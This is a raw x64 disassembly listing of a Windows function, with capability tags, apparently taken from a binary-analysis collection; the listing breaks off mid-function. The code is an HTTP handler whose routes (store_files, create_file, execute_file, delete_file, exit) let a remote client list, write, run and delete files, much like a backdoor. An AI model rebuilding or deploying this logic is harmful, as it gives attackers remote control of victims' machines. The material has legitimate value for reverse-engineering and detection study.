Function at 0x1400018e0
Capabilities:
Create thread
Delete file
Enumerate files on windows
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov r13, rdx
mov qword [rbp + 0x270], rdx
mov rbx, rcx
mov r14, rcx
mov r15, qword [rcx + 0x18]
cmp r15, 0x10
jb 0x14000192d
mov r14, qword [rcx]
mov rsi, qword [rcx + 0x10]
cmp rsi, 0x10
jb 0x14000199d
lea r12, [rsi + r14]
lea r8, [r12 - 0xf]
sub r8, r14
mov edx, 0x47
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x14000199d
nop dword [rax + rax]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.GET__store_files
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140001be1
inc rdi
lea r8, [r12 - 0xf]
sub r8, rdi
mov edx, 0x47
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140001960
mov r14, rbx
cmp r15, 0x10
jb 0x1400019a9
mov r14, qword [rbx]
cmp rsi, 0x11
jb 0x140001a0d
lea r12, [r14 + rsi]
lea r8, [r12 - 0x10]
sub r8, r14
mov edx, 0x50
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x140001a0d
mov r8d, send
lea rdx, str.POST__create_file
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400024a3
inc rdi
lea r8, [r12 - 0x10]
sub r8, rdi
mov edx, 0x50
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x1400019d0
mov r14, rbx
cmp r15, 0x10
jb 0x140001a19
mov r14, qword [rbx]
cmp rsi, 0x11
jb 0x140001a7d
lea r12, [r14 + rsi]
lea r8, [r12 - 0x10]
sub r8, r14
mov edx, 0x47
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x140001a7d
mov r8d, send
lea rdx, str.GET__execute_file
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003117
inc rdi
lea r8, [r12 - 0x10]
sub r8, rdi
mov edx, 0x47
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140001a40
mov r14, rbx
cmp r15, 0x10
jb 0x140001a89
mov r14, qword [rbx]
cmp rsi, 0x10
jb 0x140001aed
lea r12, [r14 + rsi]
lea r8, [r12 - 0xf]
sub r8, r14
mov edx, 0x47
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x140001aed
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.GET__delete_file
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003673
inc rdi
lea r8, [r12 - 0xf]
sub r8, rdi
mov edx, 0x47
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140001ab0
cmp r15, 0x10
jb 0x140001af6
mov rbx, qword [rbx]
cmp rsi, 9
jb 0x140001b4e
lea rdi, [rsi + rbx]
lea r8, [rdi - 8]
sub r8, rbx
mov edx, 0x47
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001b4e
movabs rsi, 0x6978652f20544547
cmp qword [rax], rsi
jne 0x140001b32
cmp byte [rax + 8], 0x74
je 0x140003b14
inc rax
lea r8, [rdi - 8]
sub r8, rax
mov edx, 0x47
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001b23
mov r8d, 0x3a
lea rdx, str.HTTP_1.1_404_Not_Found_r_nContent_Type:_application_json_r_n_r_n
mov rcx, r13
call fcn.140005c20
mov r8d, 2
lea rdx, [0x140008674]
mov rcx, r13
call fcn.140005b70
mov r8d, socket
lea rdx, str.___success_:_false__n
mov rcx, r13
call fcn.140005b70
mov r8d, socket
lea rdx, str.___message_:__error___n
mov rcx, r13
call fcn.140005b70
mov r8d, 2
lea rdx, [0x1400086d8]
mov rcx, r13
call fcn.140005b70
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140006d00
mov rbx, qword [rsp + 0x560]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
sub rdi, r14
cmp rdi, 0xffffffffffffffff
je 0x14000199d
mov r8d, 0x33
lea rdx, str.HTTP_1.1_200_OK_r_nContent_Type:_application_json_r_n_r_n
mov rcx, r13
call fcn.140005c20
mov r8d, 2
lea rdx, [0x140008674]
mov rcx, r13
call fcn.140005b70
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.___files_:___n
mov rcx, r13
call fcn.140005b70
lea rdx, [rsp + 0x70]
lea rcx, [0x140008688]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
je 0x140002491
mov cl, 1
mov byte [rsp + 0x40], cl
mov rdi, 0xffffffffffffffff
movabs r12, 0x7fffffffffffffff
lea r15d, [rdi + 0x17]
mov rbx, rax
movabs r8, 0x7ffffffffffffffe
mov eax, 0xa
test byte [rsp + 0x70], 0x10
jne 0x14000243b
test cl, cl
jne 0x140001cac
lea r8d, [rax - 8]
lea rdx, [0x14000868c]
mov rcx, r13
call fcn.140005b70
mov eax, 0xa
movabs r8, 0x7ffffffffffffffe
mov byte [rsp + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xor r14d, r14d
mov qword [rbp + 0x280], r14
mov qword [rbp + 0x288], r14
lea rcx, [rbp - 0x64]
mov rbx, rdi
inc rbx
cmp word [rcx + rbx*2], r14w
jne 0x140001cd3
cmp rbx, r8
ja 0x140003b4e
mov qword [rbp + 0x288], 7
cmp rbx, 8
jae 0x140001d22
mov qword [rbp + 0x280], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x64]
lea rcx, [rbp + 0x270]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0x270], r14w
jmp 0x140001dc9
mov rsi, rbx
or rsi, 7
cmp rsi, r8
jbe 0x140001d37
mov rsi, r8
lea rcx, [r12 + r12]
jmp 0x140001d58
cmp rsi, 0xa
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, r12
ja 0x140003b48
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001d84
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b48
mov rcx, rax
call fcn.140006d20
test rax, rax
je 0x140002481
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001d96
test rcx, rcx
je 0x140001d93
call fcn.140006d20
mov rdi, rax
jmp 0x140001d96
mov rdi, r14
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x280], rbx
mov qword [rbp + 0x288], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x64]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rbx], r14w
mov rdi, 0xffffffffffffffff
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 8
cmovae r8, qword [rbp + 0x270]
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, dword [rbp + 0x280]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], rbx
cmp r14, r12
ja 0x140003b42
mov qword [rbp + 0x1d8], socket
cmp r14, 0x10
jae 0x140001e63
mov qword [rbp + 0x1d0], r14
mov r8, r14
xor edx, edx
lea rcx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + r14 + 0x1c0], bl
jmp 0x140001ef6
mov rbx, r14
or rbx, 0xf
cmp rbx, r12
jbe 0x140001e74
mov rbx, r12
jmp 0x140001e7c
cmp rbx, 0x16
cmovb rbx, r15
mov rcx, rbx
add rcx, 1
cmovb rcx, rdi
cmp rcx, 0x1000
jb 0x140001ebc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b30
mov rcx, rax
call fcn.140006d20
test rax, rax
je 0x14000247a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001ecd
test rcx, rcx
je 0x140001ecb
call fcn.140006d20
mov rdi, rax
jmp 0x140001ecd
xor edi, edi
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], rbx
mov r8, r14
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov byte [rdi + r14], 0
xor ebx, ebx
lea rax, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae rax, qword [rbp + 0x1c0]
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 8
cmovae r8, qword [rbp + 0x270]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x280]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8d, 6
lea rdx, str._____n
mov rcx, r13
call fcn.140005b70
mov r15, qword [rbp + 0x1d0]
mov rax, r12
sub rax, r15
cmp rax, 0x13
jb 0x140003b3c
lea r14, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae r14, qword [rbp + 0x1c0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rbx
mov qword [rbp + 0x1f8], rbx
lea rsi, [r15 + 0x13]
mov ebx, send
lea rdi, [rbp + 0x1e0]
cmp rsi, rbx
jbe 0x14000203e
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x140001fd1
mov rbx, r12
jmp 0x140001fdf
cmp rbx, 0x16
mov r8d, socket
cmovb rbx, r8
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002026
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b36
mov rcx, rax
call fcn.140006d20
test rax, rax
je 0x14000245e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002037
test rcx, rcx
je 0x140002035
call fcn.140006d20
mov rdi, rax
jmp 0x140002037
xor edi, edi
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], rbx
movups xmm0, xmmword [str._______filename_:__]
movups xmmword [rdi], xmm0
movzx eax, word [0x1400086b0]
mov word [rdi + 0x10], ax
movzx eax, byte [0x1400086b2]
mov byte [rdi + 0x12], al
lea rcx, [rdi + 0x13]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 3
lea rdx, [0x140008698]
lea rcx, [rbp + 0x1e0]
call fcn.140005b70
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], sil
lea rdx, [rbp + 0x200]
mov rcx, r13
call fcn.140005330
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x14000210f
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002109
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002457
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140002150
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000214b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000245e
call fcn.140006d5c
mov edx, dword [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.140005da0
nop
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
cmp rax, 0xe
jb 0x140002200
lea rax, [r8 + 0xe]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 0x10
cmovae rbx, qword [rsp + 0x50]
lea rax, [0x1400086c6]
lea r14, str._______size_:
cmp rax, rbx
jbe 0x1400021be
lea rax, [rbx + r8]
cmp r14, rax
ja 0x1400021be
cmp rbx, r14
ja 0x1400021b6
mov rdi, rsi
jmp 0x1400021c3
mov rdi, rbx
sub rdi, r14
jmp 0x1400021c3
mov edi, recv
lea rcx, [rbx + 0xe]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, send
sub r8, rdi
lea rdx, [r14 + 0xe]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
jmp 0x140002218
mov qword [rsp + 0x28], send
mov edx, recv
lea rcx, [rsp + 0x50]
call fcn.1400069c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x1400086b4]
lea rcx, [rbp + 0x1e0]
call fcn.140005b70
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
lea rdx, [rbp + 0x200]
mov rcx, r13
call fcn.140005330
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x1400022e3
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002465
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140002324
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000231f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000246c
call fcn.140006d5c
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], socket
mov byte [rbp + 0x1e0], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000237a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002375
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002473
call fcn.140006d5c
mov r8d, 5
lea rdx, str.____
mov rcx, r13
call fcn.140005b70
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x1400023d1
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000247a
call fcn.140006d5c
mov qword [rbp + 0x1d0], rsi
mov qword [rbp + 0x1d8], socket
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 8
jb 0x14000242c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002427
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002481
call fcn.140006d5c
mov rbx, qword [rsp + 0x48]
mov r15d, socket
lea rdi, [r15 - 0x17]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x140002488
movzx ecx, byte [rsp + 0x40]
jmp 0x140001c6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r8d, 5
lea rdx, str._n____n
jmp 0x140001b9a
sub rdi, r14
cmp rdi, 0xffffffffffffffff
je 0x140001a0d
mov rdi, rbx
mov rcx, rsi
cmp r15, 0x10
jb 0x1400024bf
mov rdi, qword [rbx]
mov rax, rdi
lea r14, [rax + rcx]
lea r8, [r14 - 3]
sub r8, rdi
mov edx, reloc.WS2_32.dll_listen
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
mov r12, 0xffffffffffffffff
xor r13d, r13d
test rax, rax
je 0x14000255c
lea rdx, str._r_n_r_n
nop dword [rax]
nop word [rax + rax]
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140002529
cmp rcx, 4
jne 0x140002510
mov eax, r13d
jmp 0x14000252e
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002686
inc r9
lea r8, [r14 - 3]
sub r8, r9
mov edx, reloc.WS2_32.dll_listen
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
lea rdx, str._r_n_r_n
jne 0x140002500
mov r9, r12
add r9, 4
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r13
mov qword [rbp + 0x260], r13
cmp rsi, r9
jb 0x140003b54
sub rsi, r9
mov r8, r12
cmp rsi, r12
cmovb r8, rsi
cmp r15, 0x10
jb 0x14000259a
mov rbx, qword [rbx]
lea rdx, [rbx + r9]
lea rcx, [rbp + 0x248]
call fcn.1400063f0
nop
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x220]
call fcn.1400012d0
mov rbx, rax
lea rax, [rbp + 0x248]
cmp rax, rbx
je 0x140002647
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14000260a
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002605
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000267f
call fcn.140006d5c
mov qword [rbp + 0x258], r13
mov qword [rbp + 0x260], socket
mov byte [rbp + 0x248], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x248], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x258], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140002693
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000268e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000268e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
sub r9, rdi
jmp 0x14000255f
call fcn.140006d5c
lea rdi, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
setae r15b
mov byte [rsp + 0x40], r15b
mov r13, qword [rbp + 0x248]
cmovae rdi, r13
mov r14, qword [rbp + 0x258]
cmp r14, 9
jb 0x140002728
lea rsi, [r14 + rdi]
lea r8, [rsi - 8]
sub r8, rdi
mov edx, 0x66
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140002728
nop dword [rax]
nop word [rax + rax]
mov r8d, 9
lea rdx, str.filename
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000275f
inc rbx
lea r8, [rsi - 8]
sub r8, rbx
mov edx, 0x66
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x1400026f0
mov rbx, r12
lea rdi, [rbp + 0x248]
test r15b, r15b
cmovne rdi, r13
cmp rbx, r14
jae 0x140002764
mov r8, r14
sub r8, rbx
lea rcx, [rdi + rbx]
mov edx, 0x26
call sub.VCRUNTIME140.dll_memchr
mov rsi, rax
test rax, rax
je 0x140002764
sub rsi, rdi
jmp 0x140002767
sub rbx, rdi
jmp 0x14000272b
mov rsi, r12
lea r15, [rbp + 0x248]
cmp byte [rsp + 0x40], 0
cmovne r15, r13
cmp r14, 0xa
jb 0x1400027e0
lea r12, [r14 + r15]
lea r8, [r12 - 9]
sub r8, r15
mov edx, 0x65
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x1400027d9
nop
mov r8d, 0xa
lea rdx, str.extension
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140002819
inc rdi
lea r8, [r12 - 9]
sub r8, rdi
mov edx, 0x65
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x1400027a0
mov r12, 0xffffffffffffffff
mov rdi, r12
lea r15, [rbp + 0x248]
cmp byte [rsp + 0x40], 0
cmovne r15, r13
cmp rdi, r14
jae 0x140002825
sub r14, rdi
lea rcx, [r15 + rdi]
mov r8, r14
mov edx, 0x26
call sub.VCRUNTIME140.dll_memchr
mov r14, rax
test rax, rax
je 0x140002825
sub r14, r15
jmp 0x140002828
sub rdi, r15
mov r12, 0xffffffffffffffff
jmp 0x1400027e3
mov r14, r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xor r15d, r15d
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], r15
lea r8d, [r15 + 9]
lea rdx, str.filename
lea rcx, [rbp + 0x1c0]
call fcn.1400063f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], r15
lea r8d, [r15 + 9]
lea rdx, str.filename
lea rcx, [rbp + 0x220]
call fcn.1400063f0
nop
sub rsi, qword [rbp + 0x1d0]
sub rsi, rbx
mov rcx, qword [rbp + 0x230]
add rcx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], r15
mov rax, qword [rbp + 0x258]
cmp rax, rcx
jb 0x140003b5a
sub rax, rcx
cmp rax, rsi
cmovb rsi, rax
lea rdx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
cmovae rdx, qword [rbp + 0x248]
add rdx, rcx
mov r8, rsi
lea rcx, [rbp + 0x200]
call fcn.1400063f0
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140002940
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000293a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000293a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140002981
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000297c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003081
call fcn.140006d5c
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], r15
mov r8d, 0xa
lea rdx, str.extension
lea rcx, [rbp + 0x1c0]
call fcn.1400063f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], r15
mov r8d, 0xa
lea rdx, str.extension
lea rcx, [rbp + 0x220]
call fcn.1400063f0
nop
mov r8, r14
sub r8, rdi
sub r8, qword [rbp + 0x1d0]
mov rcx, qword [rbp + 0x230]
add rcx, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], r15
mov rax, qword [rbp + 0x258]
cmp rax, rcx
jb 0x140003b60
sub rax, rcx
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
cmovae rdx, qword [rbp + 0x248]
add rdx, rcx
lea rcx, [rbp + 0x290]
call fcn.1400063f0
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140002a9a
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140002adb
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ad6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003024
call fcn.140006d5c
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], r15
mov r8d, 8
lea rdx, str.content
lea rcx, [rbp + 0x220]
call fcn.1400063f0
nop
mov rcx, qword [rbp + 0x230]
inc rcx
add rcx, r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], r15
mov rax, qword [rbp + 0x258]
cmp rax, rcx
jb 0x140003b66
sub rax, rcx
mov r8, r12
cmp rax, 0xffffffffffffffff
cmovb r8, rax
lea rdx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
cmovae rdx, qword [rbp + 0x248]
add rdx, rcx
lea rcx, [rbp + 0x1e0]
call fcn.1400063f0
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140002bbb
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2f0]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp + 0x210]
sub rax, r14
cmp rax, 1
jb 0x140003b6c
lea r12, [rbp + 0x200]
mov r13, qword [rbp + 0x218]
cmp r13, 0x10
setae byte [rsp + 0x40]
mov rsi, qword [rbp + 0x200]
cmovae r12, rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], r15
lea r15, [r14 + 1]
mov ebx, send
lea rdi, [rbp + 0x220]
cmp r15, rbx
jbe 0x140002cc3
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002c54
mov rbx, rcx
jmp 0x140002c61
mov r8d, socket
cmp rbx, r8
cmovb rbx, r8
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002cab
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b72
mov rcx, rax
call fcn.140006d20
